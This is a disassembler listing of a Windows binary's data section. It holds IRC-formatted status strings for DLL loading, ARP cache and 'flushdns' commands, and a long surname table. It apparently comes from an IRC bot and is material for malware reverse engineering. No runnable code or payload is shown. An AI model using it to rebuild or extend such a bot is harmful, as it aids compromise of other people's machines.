unk_42D330	db  2Dh	; -		; DATA XREF: sub_40A7CE+2F2o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aDllTestComplet	db 'DLL test complete.',0
		align 10h
aAvicap32_dllFa	db 'Avicap32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+2CCo
		align 4
aOdbc32_dllFail	db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+298o
aShell32_dllFai	db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+264o
		align 10h
aMpr32_dllFaile	db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+230o
		align 4
aIphlpapi_dllFa	db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+1FCo
		align 4
aDnsapi_dllFail	db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+1C8o
aNetapi32_dllFa	db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+194o
		align 4
aIcmp_dllFailed	db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+160o
		align 10h
aWininet_dllFai	db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+12Co
		align 4
aWs2_32_dllFail	db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+F8o
aGdi32_dllFaile	db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+C4o
		align 4
aAdvapi32_dllFa	db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+90o
		align 4
aUser32_dllFail	db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+5Co
aKernel32_dllFa	db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+28o
		align 4
a_:					; DATA XREF: sub_40F96A+252o
		unicode	0, <.>,0
unk_42D4C0	db  2Dh	; -		; DATA XREF: sub_40AB31:loc_40ABF0o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aNotSupportedBy	db 'not supported by this system',0
		align 10h
unk_42D4F0	db  2Dh	; -		; DATA XREF: sub_40AB31:loc_40ABBEo
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aUnableToAlloca	db 'unable to allocate ARP cache',0
		align 10h
unk_42D520	db  2Dh	; -		; DATA XREF: sub_40AB31:loc_40AB8Ao
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aArpCacheIsEmpt	db 'ARP cache is empty',0
		align 4
unk_42D544	db  2Dh	; -		; DATA XREF: sub_40AB31+49o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aErrorGettingAr	db 'error getting ARP cache: %d',0
aD_D_D_D	db '%d.%d.%d.%d',0      ; DATA XREF: sub_40AC0F+46o
					; sub_40BFEB+38o
		align 10h
aReal		db 'real',0
		align 4
		dd 0
dword_42D58C	dd 0			; DATA XREF: sub_40B08D+7o
off_42D590	dd offset sub_40ACB5	; DATA XREF: sub_40B08D+49r
aConst		db 'const',0
		align 10h
		dd 1, 40AD22h, 7474656Ch, 7265h, 0
		dd 2, 40AD80h, 706D6F63h, 2 dup(0)
		dd 3, 40ADCDh, 6E756F63h, 797274h, 0
		dd 4, 40AE6Bh, 736Fh, 2	dup(0)
		dd 5, 40AEE0h
off_42D5F8	dd offset aAbdulrazak	; DATA XREF: sub_40ACB5+21r
					; "Abdulrazak"
		dd offset aAckerman	; "Ackerman"
		dd offset aAdams	; "Adams"
off_42D604	dd offset aAddison	; DATA XREF: sub_40B08D+39o
					; "Addison"
		dd offset aAdelstein	; "Adelstein"
		dd offset aAdibe	; "Adibe"
		dd offset aAdorno	; "Adorno"
		dd offset aAhlers	; "Ahlers"
		dd offset aAlavi	; "Alavi"
		dd offset aAlcorn	; "Alcorn"
		dd offset aAlda		; "Alda"
		dd offset aAleks	; "Aleks"
		dd offset aAllison	; "Allison"
		dd offset aAlongi	; "Alongi"
		dd offset aAltavilla	; "Altavilla"
		dd offset aAltenberger	; "Altenberger"
		dd offset aAltenhofen	; "Altenhofen"
		dd offset aAmaral	; "Amaral"
		dd offset aAmatangelo	; "Amatangelo"
		dd offset aAmeer	; "Ameer"
		dd offset aAmsden	; "Amsden"
		dd offset aAnand	; "Anand"
		dd offset aAndel	; "Andel"
		dd offset aAndo		; "Ando"
		dd offset aAndrelus	; "Andrelus"
		dd offset aAndron	; "Andron"
		dd offset aAnfinrud	; "Anfinrud"
		dd offset aAnsley	; "Ansley"
		dd offset aAnthony	; "Anthony"
		dd offset aAntos	; "Antos"
		dd offset aArbia	; "Arbia"
		dd offset aArduini	; "Arduini"
		dd offset aArellano	; "Arellano"
		dd offset aAristotle	; "Aristotle"
		dd offset aArjas	; "Arjas"
		dd offset aArky		; "Arky"
		dd offset aAtkins	; "Atkins"
		dd offset aAugustus	; "Augustus"
		dd offset aAurelius	; "Aurelius"
		dd offset aAxelrod	; "Axelrod"
		dd offset aAxworthy	; "Axworthy"
		dd offset aAyiemba	; "Ayiemba"
		dd offset aAykroyd	; "Aykroyd"
		dd offset aAyling	; "Ayling"
		dd offset aAzima	; "Azima"
		dd offset aBachmuth	; "Bachmuth"
		dd offset aBackus	; "Backus"
		dd offset aBady		; "Bady"
		dd offset aBaglivo	; "Baglivo"
		dd offset aBagnold	; "Bagnold"
		dd offset aBailar	; "Bailar"
		dd offset aBakanowsky	; "Bakanowsky"
		dd offset aBaleja	; "Baleja"
		dd offset aBallatori	; "Ballatori"
		dd offset aBallew	; "Ballew"
		dd offset aBaltz	; "Baltz"
		dd offset aBanta	; "Banta"
		dd offset aBarabesi	; "Barabesi"
		dd offset aBarajas	; "Barajas"
		dd offset aBaranczak	; "Baranczak"
		dd offset aBaranowska	; "Baranowska"
		dd offset aBarberi	; "Barberi"
		dd offset aBarbetti	; "Barbetti"
		dd offset aBarneson	; "Barneson"
		dd offset aBarnett	; "Barnett"
		dd offset aBarriola	; "Barriola"
		dd offset aBarry	; "Barry"
		dd offset aBartholomew	; "Bartholomew"
		dd offset aBartolome	; "Bartolome"
		dd offset aBartoo	; "Bartoo"
		dd offset aBasavappa	; "Basavappa"
		dd offset aBashevis	; "Bashevis"
		dd offset aBatchelder	; "Batchelder"
		dd offset aBaumiller	; "Baumiller"
		dd offset aBayles	; "Bayles"
		dd offset aBayo		; "Bayo"
		dd offset aBeacon	; "Beacon"
		dd offset aBeal		; "Beal"
		dd offset aBean		; "Bean"
		dd offset aBeckman	; "Beckman"
		dd offset aBeder	; "Beder"
		dd offset aBedford	; "Bedford"
		dd offset aBehenna	; "Behenna"
		dd offset aBelanger	; "Belanger"
		dd offset aBelaoussof	; "Belaoussof"
		dd offset aBelfer	; "Belfer"
		dd offset aBelinCollart	; "Belin-Collart"
		dd offset aBellavance	; "Bellavance"
		dd offset aBellhouse	; "Bellhouse"
		dd offset aBellini	; "Bellini"
		dd offset aBelloc	; "Belloc"
		dd offset aBenedictDye	; "Benedict-Dye"
		dd offset aBergson	; "Bergson"
		dd offset aBerkeJenkins	; "Berke-Jenkins"
		dd offset aBernardo	; "Bernardo"
		dd offset aBernassola	; "Bernassola"
		dd offset aBernston	; "Bernston"
		dd offset aBerrizbeitia	; "Berrizbeitia"
		dd offset aBetti	; "Betti"
		dd offset aBeynart	; "Beynart"
		dd offset aBiagioli	; "Biagioli"
		dd offset aBickel	; "Bickel"
		dd offset aBinion	; "Binion"
		dd offset aBir		; "Bir"
		dd offset aBisema	; "Bisema"
		dd offset aBisho	; "Bisho"
		dd offset aBlackbourn	; "Blackbourn"
		dd offset aBlackwell	; "Blackwell"
		dd offset aBlagg	; "Blagg"
		dd offset aBlakemore	; "Blakemore"
		dd offset aBlanke	; "Blanke"
		dd offset aBliss	; "Bliss"
		dd offset aBlizard	; "Blizard"
		dd offset aBloch	; "Bloch"
		dd offset aBloembergen	; "Bloembergen"
		dd offset aBloemhof	; "Bloemhof"
		dd offset aBloxham	; "Bloxham"
		dd offset aBlyth	; "Blyth"
		dd offset aBolger	; "Bolger"
		dd offset aBolick	; "Bolick"
		dd offset aBollinger	; "Bollinger"
		dd offset aBologna	; "Bologna"
		dd offset aBoner	; "Boner"
		dd offset aBonham	; "Bonham"
		dd offset aBoniface	; "Boniface"
		dd offset aBontempo	; "Bontempo"
		dd offset aBook		; "Book"
		dd offset aBookbinder	; "Bookbinder"
		dd offset aBoone	; "Boone"
		dd offset aBoorstin	; "Boorstin"
		dd offset aBorack	; "Borack"
		dd offset aBorden	; "Borden"
		dd offset aBossi	; "Bossi"
		dd offset aBothman	; "Bothman"
		dd offset aBotosh	; "Botosh"
		dd offset aBoudin	; "Boudin"
		dd offset aBoudrot	; "Boudrot"
		dd offset aBourneuf	; "Bourneuf"
		dd offset aBowers	; "Bowers"
		dd offset aBoxer	; "Boxer"
		dd offset aBoyajian	; "Boyajian"
		dd offset aBoyes	; "Boyes"
		dd offset aBoyland	; "Boyland"
		dd offset aBoym		; "Boym"
		dd offset aBoyne	; "Boyne"
		dd offset aBracalente	; "Bracalente"
		dd offset aBradac	; "Bradac"
		dd offset aBradach	; "Bradach"
		dd offset aBrecht	; "Brecht"
		dd offset aBreed	; "Breed"
		dd offset aBrenan	; "Brenan"
		dd offset aBrennan	; "Brennan"
		dd offset aBrewer	; "Brewer"
		dd offset aBrewer	; "Brewer"
		dd offset aBridgeman	; "Bridgeman"
		dd offset aBridges	; "Bridges"
		dd offset aBrinton	; "Brinton"
		dd offset aBritz	; "Britz"
		dd offset aBroca	; "Broca"
		dd offset aBrook	; "Brook"
		dd offset aBrzycki	; "Brzycki"
		dd offset aBuchan	; "Buchan"
		dd offset aBudding	; "Budding"
		dd offset aBullard	; "Bullard"
		dd offset aBunton	; "Bunton"
		dd offset aBurden	; "Burden"
		dd offset aBurdzy	; "Burdzy"
		dd offset aBurke	; "Burke"
		dd offset aBurridge	; "Burridge"
		dd offset aBusetta	; "Busetta"
		dd offset aByatt	; "Byatt"
		dd offset aByerly	; "Byerly"
		dd offset aByrd		; "Byrd"
		dd offset aCage		; "Cage"
		dd offset aCalnan	; "Calnan"
		dd offset aCammelli	; "Cammelli"
		dd offset aCammilleri	; "Cammilleri"
		dd offset aCanley	; "Canley"
		dd offset aCapanni	; "Capanni"
		dd offset aCaperton	; "Caperton"
		dd offset aCapocaccia	; "Capocaccia"
		dd offset aCapodilupo	; "Capodilupo"
		dd offset aCappuccio	; "Cappuccio"
		dd offset aCapursi	; "Capursi"
		dd offset aCaratozzolo	; "Caratozzolo"
		dd offset aCarayannopoulo ; "Carayannopoulos"
		dd offset aCarlin	; "Carlin"
		dd offset aCarlos	; "Carlos"
		dd offset aCarlyle	; "Carlyle"
		dd offset aCarmichael	; "Carmichael"
		dd offset aCaroti	; "Caroti"
		dd offset aCarper	; "Carper"
		dd offset aCartmill	; "Cartmill"
		dd offset aCascio	; "Cascio"
		dd offset aCase		; "Case"
		dd offset aCaspar	; "Caspar"
		dd offset aCastelda	; "Castelda"
		dd offset aCavanagh	; "Cavanagh"
		dd offset aCavell	; "Cavell"
		dd offset aCeniceros	; "Ceniceros"
		dd offset aCerioli	; "Cerioli"
		dd offset aChapman	; "Chapman"
		dd offset aCharles	; "Charles"
		dd offset aCheang	; "Cheang"
		dd offset aCherry	; "Cherry"
		dd offset aChervinsky	; "Chervinsky"
		dd offset aChiassino	; "Chiassino"
		dd offset aChien	; "Chien"
		dd offset aChildress	; "Childress"
		dd offset aChilds	; "Childs"
		dd offset aChinipardaz	; "Chinipardaz"
		dd offset aChinman	; "Chinman"
		dd offset aChristenson	; "Christenson"
		dd offset aChristian	; "Christian"
		dd offset aChristiano	; "Christiano"
		dd offset aChristie	; "Christie"
		dd offset aChristopher	; "Christopher"
		dd offset aChu		; "Chu"
		dd offset aChupasko	; "Chupasko"
		dd offset aChurch	; "Church"
		dd offset aCiampaglia	; "Ciampaglia"
		dd offset aCicero	; "Cicero"
		dd offset aCifarelli	; "Cifarelli"
		dd offset aClaffey	; "Claffey"
		dd offset aClancy	; "Clancy"
		dd offset aClark	; "Clark"
		dd offset aClement	; "Clement"
		dd offset aClifton	; "Clifton"
		dd offset aClow		; "Clow"
		dd offset aCoblenz	; "Coblenz"
		dd offset aCoito	; "Coito"
		dd offset aColdren	; "Coldren"
		dd offset aColella	; "Colella"
		dd offset aCollard	; "Collard"
		dd offset aCollis	; "Collis"
		dd offset aCompton	; "Compton"
		dd offset aCompton	; "Compton"
		dd offset aComstock	; "Comstock"
		dd offset aConcino	; "Concino"
		dd offset aCondodina	; "Condodina"
		dd offset aConnors	; "Connors"
		dd offset aCorey	; "Corey"
		dd offset aCornish	; "Cornish"
		dd offset aCosmides	; "Cosmides"
		dd offset aCounter	; "Counter"
		dd offset aCoutaux	; "Coutaux"
		dd offset aCrawford	; "Crawford"
		dd offset aCrocker	; "Crocker"
		dd offset aCroshaw	; "Croshaw"
		dd offset aCroxen	; "Croxen"
		dd offset aCroxton	; "Croxton"
		dd offset aCui		; "Cui"
		dd offset aCurrier	; "Currier"
		dd offset aCutler	; "Cutler"
		dd offset aCvek		; "Cvek"
		dd offset aCyders	; "Cyders"
		dd offset aDasilva	; "daSilva"
		dd offset aDaldalian	; "Daldalian"
		dd offset aDaly		; "Daly"
		dd offset aDAmbra	; "D'Ambra"
		dd offset aDanieli	; "Danieli"
		dd offset aDante	; "Dante"
		dd offset aDapice	; "Dapice"
		dd offset aDArcangelo	; "D'arcangelo"
		dd offset aDas		; "Das"
		dd offset aDasgupta	; "Dasgupta"
		dd offset aDaskalu	; "Daskalu"
		dd offset aDavid	; "David"
		dd offset aDawkins	; "Dawkins"
		dd offset aDegennaro	; "DeGennaro"
		dd offset aDelapena	; "DeLaPena"
		dd offset aDelEnclos	; "del'Enclos"
		dd offset aDerousse	; "deRousse"
		dd offset aDebroff	; "Debroff"
		dd offset aDees		; "Dees"
		dd offset aDefeciani	; "Defeciani"
		dd offset aDelattre	; "Delattre"
		dd offset aDeleonRendon	; "Deleon-Rendon"
		dd offset aDelger	; "Delger"
		dd offset aDellAcqua	; "Dell'acqua"
		dd offset aDeming	; "Deming"
		dd offset aDempster	; "Dempster"
		dd offset aDemusz	; "Demusz"
		dd offset aDenault	; "Denault"
		dd offset aDenham	; "Denham"
		dd offset aDenison	; "Denison"
		dd offset aDesombre	; "Desombre"
		dd offset aDeutsch	; "Deutsch"
		dd offset aDFini	; "D'fini"
		dd offset aDicks	; "Dicks"
		dd offset aDiefenbach	; "Diefenbach"
		dd offset aDifabio	; "Difabio"
		dd offset aDifronzo	; "Difronzo"
		dd offset aDilworth	; "Dilworth"
		dd offset aDionysius	; "Dionysius"
		dd offset aDirksen	; "Dirksen"
		dd offset aDockery	; "Dockery"
		dd offset aDoherty	; "Doherty"
		dd offset aDonahue	; "Donahue"
		dd offset aDonner	; "Donner"
		dd offset aDoonan	; "Doonan"
		dd offset aDore		; "Dore"
		dd offset aDorf		; "Dorf"
		dd offset aDosi		; "Dosi"
		dd offset aDoty		; "Doty"
		dd offset aDoug		; "Doug"
		dd offset aDowsland	; "Dowsland"
		dd offset aDrinker	; "Drinker"
		dd offset aDSouza	; "D'souza"
		dd offset aDuffin	; "Duffin"
		dd offset aDurrett	; "Durrett"
		dd offset aDussault	; "Dussault"
		dd offset aDwyer	; "Dwyer"
		dd offset aEardley	; "Eardley"
		dd offset aEbeling	; "Ebeling"
		dd offset aEckel	; "Eckel"
		dd offset aEdley	; "Edley"
		dd offset aEdner	; "Edner"
		dd offset aEdward	; "Edward"
		dd offset aEickenhorst	; "Eickenhorst"
		dd offset aEliasson	; "Eliasson"
		dd offset aElmendorf	; "Elmendorf"
		dd offset aElmerick	; "Elmerick"
		dd offset aElvis	; "Elvis"
		dd offset aEncinas	; "Encinas"
		dd offset aEnyeart	; "Enyeart"
		dd offset aEppling	; "Eppling"
		dd offset aErbach	; "Erbach"
		dd offset aErdman	; "Erdman"
		dd offset aErdos	; "Erdos"
		dd offset aErez		; "Erez"
		dd offset aEspinoza	; "Espinoza"
		dd offset aEstes	; "Estes"
		dd offset aEtter	; "Etter"
		dd offset aEuripides	; "Euripides"
		dd offset aEverett	; "Everett"
		dd offset aFabbris	; "Fabbris"
		dd offset aFagan	; "Fagan"
		dd offset aFaioes	; "Faioes"
		dd offset aFalcoAcosta	; "Falco-Acosta"
		dd offset aFalorsi	; "Falorsi"
		dd offset aFaris	; "Faris"
		dd offset aFarone	; "Farone"
		dd offset aFarren	; "Farren"
		dd offset aFasso	; "Fasso'"
		dd offset aFates	; "Fates"
		dd offset aFeigenbaum	; "Feigenbaum"
		dd offset aFejzo	; "Fejzo"
		dd offset aFeldman	; "Feldman"
		dd offset aFernald	; "Fernald"
		dd offset aFernandes	; "Fernandes"
		dd offset aFerrante	; "Ferrante"
		dd offset aFerriell	; "Ferriell"
		dd offset aFeuer	; "Feuer"
		dd offset aFido		; "Fido"
		dd offset aField	; "Field"
		dd offset aFink		; "Fink"
		dd offset aFinkelstein	; "Finkelstein"
		dd offset aFinnegan	; "Finnegan"
		dd offset aFiorina	; "Fiorina"
		dd offset aFisk		; "Fisk"
		dd offset aFitzmaurice	; "Fitzmaurice"
		dd offset aFlier	; "Flier"
		dd offset aFlores	; "Flores"
		dd offset aFolks	; "Folks"
		dd offset aForester	; "Forester"
		dd offset aFortes	; "Fortes"
		dd offset aFortier	; "Fortier"
		dd offset aFossey	; "Fossey"
		dd offset aFossi	; "Fossi"
		dd offset aFrancisco	; "Francisco"
		dd offset aFranklinKenea ; "Franklin-Kenea"
		dd offset aFranz	; "Franz"
		dd offset aFrazierDavis	; "Frazier-Davis"
		dd offset aFreid	; "Freid"
		dd offset aFreundlich	; "Freundlich"
		dd offset aFried	; "Fried"
		dd offset aFriedland	; "Friedland"
		dd offset aFrisken	; "Frisken"
		dd offset aFrowiss	; "Frowiss"
		dd offset aFryberger	; "Fryberger"
		dd offset aFrye		; "Frye"
		dd offset aFujiiAbe	; "Fujii-Abe"
		dd offset aFuller	; "Fuller"
		dd offset aFurth	; "Furth"
		dd offset aFusaro	; "Fusaro"
		dd offset aGabrielli	; "Gabrielli"
		dd offset aGaggiotti	; "Gaggiotti"
		dd offset aGaleotti	; "Galeotti"
		dd offset aGalwey	; "Galwey"
		dd offset aGambini	; "Gambini"
		dd offset aGarfield	; "Garfield"
		dd offset aGarman	; "Garman"
		dd offset aGaronna	; "Garonna"
		dd offset aGeller	; "Geller"
		dd offset aGemberling	; "Gemberling"
		dd offset aGeorgi	; "Georgi"
		dd offset aGerrett	; "Gerrett"
		dd offset aGhorai	; "Ghorai"
		dd offset aGibbens	; "Gibbens"
		dd offset aGibson	; "Gibson"
		dd offset aGilbert	; "Gilbert"
		dd offset aGili		; "Gili"
		dd offset aGill		; "Gill"
		dd offset aGillispie	; "Gillispie"
		dd offset aGist		; "Gist"
		dd offset aGleason	; "Gleason"
		dd offset aGlegg	; "Glegg"
		dd offset aGlendon	; "Glendon"
		dd offset aGoldfarb	; "Goldfarb"
		dd offset aGoncalves	; "Goncalves"
		dd offset aGood		; "Good"
		dd offset aGoodearl	; "Goodearl"
		dd offset aGoody	; "Goody"
		dd offset aGozzi	; "Gozzi"
		dd offset aGravell	; "Gravell"
		dd offset aGreenberg	; "Greenberg"
		dd offset aGreenfeld	; "Greenfeld"
		dd offset aGriffiths	; "Griffiths"
		dd offset aGrigoletto	; "Grigoletto"
		dd offset aGrummell	; "Grummell"
		dd offset aGruner	; "Gruner"
		dd offset aGruppe	; "Gruppe"
		dd offset aGuenthart	; "Guenthart"
		dd offset aGunn		; "Gunn"
		dd offset aGuo		; "Guo"
		dd offset aHa		; "Ha"
		dd offset aHaar		; "Haar"
		dd offset aHackman	; "Hackman"
		dd offset aHackshaw	; "Hackshaw"
		dd offset aHaley	; "Haley"
		dd offset aHalkias	; "Halkias"
		dd offset aHallowell	; "Hallowell"
		dd offset aHalpert	; "Halpert"
		dd offset aHambarzumjan	; "Hambarzumjan"
		dd offset aHamer	; "Hamer"
		dd offset aHammerness	; "Hammerness"
		dd offset aHand		; "Hand"
		dd offset aHanssen	; "Hanssen"
		dd offset aHarding	; "Harding"
		dd offset aHargraves	; "Hargraves"
		dd offset aHarlow	; "Harlow"
		dd offset aHarrigan	; "Harrigan"
		dd offset aHartman	; "Hartman"
		dd offset aHartmann	; "Hartmann"
		dd offset aHartnett	; "Hartnett"
		dd offset aHarwell	; "Harwell"
		dd offset aHaviaras	; "Haviaras"
		dd offset aHawkes	; "Hawkes"
		dd offset aHayes	; "Hayes"
		dd offset aHaynes	; "Haynes"
		dd offset aHazlewood	; "Hazlewood"
		dd offset aHeermans	; "Heermans"
		dd offset aHeft		; "Heft"
		dd offset aHeiland	; "Heiland"
		dd offset aHellman	; "Hellman"
		dd offset aHellmiss	; "Hellmiss"
		dd offset aHelprin	; "Helprin"
		dd offset aHemphill	; "Hemphill"
		dd offset aHenery	; "Henery"
		dd offset aHenrichs	; "Henrichs"
		dd offset aHernandez	; "Hernandez"
		dd offset aHerrera	; "Herrera"
		dd offset aHester	; "Hester"
		dd offset aHeubert	; "Heubert"
		dd offset aHeyeck	; "Heyeck"
		dd offset aHimmelfarb	; "Himmelfarb"
		dd offset aHind		; "Hind"
		dd offset aHirst	; "Hirst"
		dd offset aHitchcock	; "Hitchcock"
		dd offset aHoang	; "Hoang"
		dd offset aHock		; "Hock"
		dd offset aHoffer	; "Hoffer"
		dd offset aHoffman	; "Hoffman"
		dd offset aHokanson	; "Hokanson"
		dd offset aHokoda	; "Hokoda"
		dd offset aHolmes	; "Holmes"
		dd offset aHoloien	; "Holoien"
		dd offset aHolter	; "Holter"
		dd offset aHolway	; "Holway"
		dd offset aHolzman	; "Holzman"
		dd offset aHooker	; "Hooker"
		dd offset aHopkins	; "Hopkins"
		dd offset aHorsley	; "Horsley"
		dd offset aHoshida	; "Hoshida"
		dd offset aHostage	; "Hostage"
		dd offset aHottle	; "Hottle"
		dd offset aHoward	; "Howard"
		dd offset aHoy		; "Hoy"
		dd offset aHuey		; "Huey"
		dd offset aHuidekoper	; "Huidekoper"
		dd offset aHungerford	; "Hungerford"
		dd offset aHuntington	; "Huntington"
		dd offset aHupp		; "Hupp"
		dd offset aHurtubise	; "Hurtubise"
		dd offset aHutchings	; "Hutchings"
		dd offset aHyde		; "Hyde"
		dd offset aIaquinta	; "Iaquinta"
		dd offset aIchikawa	; "Ichikawa"
		dd offset aIgarashi	; "Igarashi"
		dd offset aInamura	; "Inamura"
		dd offset aInniss	; "Inniss"
		dd offset aIsaac	; "Isaac"
		dd offset aIsaievych	; "Isaievych"
		dd offset aIsbill	; "Isbill"
		dd offset aIsserman	; "Isserman"
		dd offset aIyer		; "Iyer"
		dd offset aJacenko	; "Jacenko"
		dd offset aJackson	; "Jackson"
		dd offset aJagers	; "Jagers"
		dd offset aJagger	; "Jagger"
		dd offset aJagoe	; "Jagoe"
		dd offset aJain		; "Jain"
		dd offset aJamil	; "Jamil"
		dd offset aJanjigian	; "Janjigian"
		dd offset aJarnagin	; "Jarnagin"
		dd offset aJarrell	; "Jarrell"
		dd offset aJay		; "Jay"
		dd offset aJeffers	; "Jeffers"
		dd offset aJellis	; "Jellis"
		dd offset aJenkins	; "Jenkins"
		dd offset aJespersen	; "Jespersen"
		dd offset aJewett	; "Jewett"
		dd offset aJohannesson	; "Johannesson"
		dd offset aJohannsen	; "Johannsen"
		dd offset aJohns	; "Johns"
		dd offset aJolly	; "Jolly"
		dd offset aJorgensen	; "Jorgensen"
		dd offset aJucks	; "Jucks"
		dd offset aJuliano	; "Juliano"
		dd offset aJulious	; "Julious"
		dd offset aKabbash	; "Kabbash"
		dd offset aKaboolian	; "Kaboolian"
		dd offset aKafadar	; "Kafadar"
		dd offset aKalbfleisch	; "Kalbfleisch"
		dd offset aKaligian	; "Kaligian"
		dd offset aKalil	; "Kalil"
		dd offset aKalinowski	; "Kalinowski"
		dd offset aKalman	; "Kalman"
		dd offset aKamel	; "Kamel"
		dd offset aKangis	; "Kangis"
		dd offset aKarpouzes	; "Karpouzes"
		dd offset aKassower	; "Kassower"
		dd offset aKasten	; "Kasten"
		dd offset aKawachi	; "Kawachi"
		dd offset aKee		; "Kee"
		dd offset aKeenan	; "Keenan"
		dd offset aKeepper	; "Keepper"
		dd offset aKeith	; "Keith"
		dd offset aKelker	; "Kelker"
		dd offset aKelsey	; "Kelsey"
		dd offset aKempton	; "Kempton"
		dd offset aKemsley	; "Kemsley"
		dd offset aKendall	; "Kendall"
		dd offset aKerry	; "Kerry"
		dd offset aKeul		; "Keul"
		dd offset aKhong	; "Khong"
		dd offset aKimmel	; "Kimmel"
		dd offset aKimmett	; "Kimmett"
		dd offset aKimura	; "Kimura"
		dd offset aKindall	; "Kindall"
		dd offset aKinsley	; "Kinsley"
		dd offset aKippenberger	; "Kippenberger"
		dd offset aKirscht	; "Kirscht"
		dd offset aKittridge	; "Kittridge"
		dd offset aKleckner	; "Kleckner"
		dd offset aKleiman	; "Kleiman"
		dd offset aKleinfelder	; "Kleinfelder"
		dd offset aKlemperer	; "Klemperer"
		dd offset aKling	; "Kling"
		dd offset aKlinkenborg	; "Klinkenborg"
		dd offset aKlint	; "Klint"
		dd offset aKnuff	; "Knuff"
		dd offset aKobrick	; "Kobrick"
		dd offset aKoch		; "Koch"
		dd offset aKohn		; "Kohn"
		dd offset aKoivumaki	; "Koivumaki"
		dd offset aKommer	; "Kommer"
		dd offset aKoniaris	; "Koniaris"
		dd offset aKonrad	; "Konrad"
		dd offset aKool		; "Kool"
		dd offset aKorzybski	; "Korzybski"
		dd offset aKotter	; "Kotter"
		dd offset aKovaks	; "Kovaks"
		dd offset aKraemer	; "Kraemer"
		dd offset aKrailo	; "Krailo"
		dd offset aKrasney	; "Krasney"
		dd offset aKraus	; "Kraus"
		dd offset aKroemer	; "Kroemer"
		dd offset aKrysiak	; "Krysiak"
		dd offset aKuenzli	; "Kuenzli"
		dd offset aKumar	; "Kumar"
		dd offset aKusman	; "Kusman"
		dd offset aKuwabara	; "Kuwabara"
		dd offset aLa		; "La"
		dd offset aLabunka	; "Labunka"
		dd offset aLafler	; "Lafler"
		dd offset aLaing	; "Laing"
		dd offset aLallemant	; "Lallemant"
		dd offset aLandes	; "Landes"
		dd offset aLankes	; "Lankes"
		dd offset aLantieri	; "Lantieri"
		dd offset aLanzit	; "Lanzit"
		dd offset aLaserna	; "Laserna"
		dd offset aLashley	; "Lashley"
		dd offset aLawless	; "Lawless"
		dd offset aLecar	; "Lecar"
		dd offset aLecce	; "Lecce"
		dd offset aLeclercq	; "Leclercq"
		dd offset aLeite	; "Leite"
		dd offset aLenard	; "Lenard"
		dd offset aLEnclos	; "l'Enclos"
		dd offset aLesser	; "Lesser"
		dd offset aLessi	; "Lessi"
		dd offset aLiakos	; "Liakos"
		dd offset aLidano	; "Lidano"
		dd offset aLiem		; "Liem"
		dd offset aLight	; "Light"
		dd offset aLightfoot	; "Lightfoot"
		dd offset aLim		; "Lim"
		dd offset aLinares	; "Linares"
		dd offset aLinda	; "Linda"
		dd offset aLinder	; "Linder"
		dd offset aLine		; "Line"
		dd offset aLinehan	; "Linehan"
		dd offset aLinzee	; "Linzee"
		dd offset aLippmann	; "Lippmann"
		dd offset aLipponen	; "Lipponen"
		dd offset aLittle	; "Little"
		dd offset aLitvak	; "Litvak"
		dd offset aLivernash	; "Livernash"
		dd offset aLivi		; "Livi"
		dd offset aLivolsi	; "Livolsi"
		dd offset aLizardo	; "Lizardo"
		dd offset aLocatelli	; "Locatelli"
		dd offset aLongworth	; "Longworth"
		dd offset aLoss		; "Loss"
		dd offset aLoveman	; "Loveman"
		dd offset aLowenstein	; "Lowenstein"
		dd offset aLoza		; "Loza"
		dd offset aLubin	; "Lubin"
		dd offset aLucas	; "Lucas"
		dd offset aLuciano	; "Luciano"
		dd offset aLuczkow	; "Luczkow"
		dd offset aLuecke	; "Luecke"
		dd offset aLunetta	; "Lunetta"
		dd offset aLuoma	; "Luoma"
		dd offset aLussier	; "Lussier"
		dd offset aLutcavage	; "Lutcavage"
		dd offset aLuzader	; "Luzader"
		dd offset aMa		; "Ma"
		dd offset aMaccormac	; "Maccormac"
		dd offset aMacdonald	; "Macdonald"
		dd offset aMaceachern	; "Maceachern"
		dd offset aMacintyre	; "Macintyre"
		dd offset aMackenney	; "Mackenney"
		dd offset aMacmillan	; "MacMillan"
		dd offset aMacy		; "Macy"
		dd offset aMadigan	; "Madigan"
		dd offset aMaggio	; "Maggio"
		dd offset aMahony	; "Mahony"
		dd offset aMaier	; "Maier"
		dd offset aMaineHershey	; "Maine-Hershey"
		dd offset aMaisano	; "Maisano"
		dd offset aMalatesta	; "Malatesta"
		dd offset aMaller	; "Maller"
		dd offset aMalova	; "Malova"
		dd offset aManalis	; "Manalis"
		dd offset aMandel	; "Mandel"
		dd offset aManganiello	; "Manganiello"
		dd offset aMantovan	; "Mantovan"
		dd offset aMarch	; "March"
		dd offset aMarchbanks	; "Marchbanks"
		dd offset aMarcus	; "Marcus"
		dd offset aMargalit	; "Margalit"
		dd offset aMargetts	; "Margetts"
		dd offset aMarques	; "Marques"
		dd offset aMartinez	; "Martinez"
		dd offset aMartochio	; "Martochio"
		dd offset aMarton	; "Marton"
		dd offset aMarubini	; "Marubini"
		dd offset aMass		; "Mass"
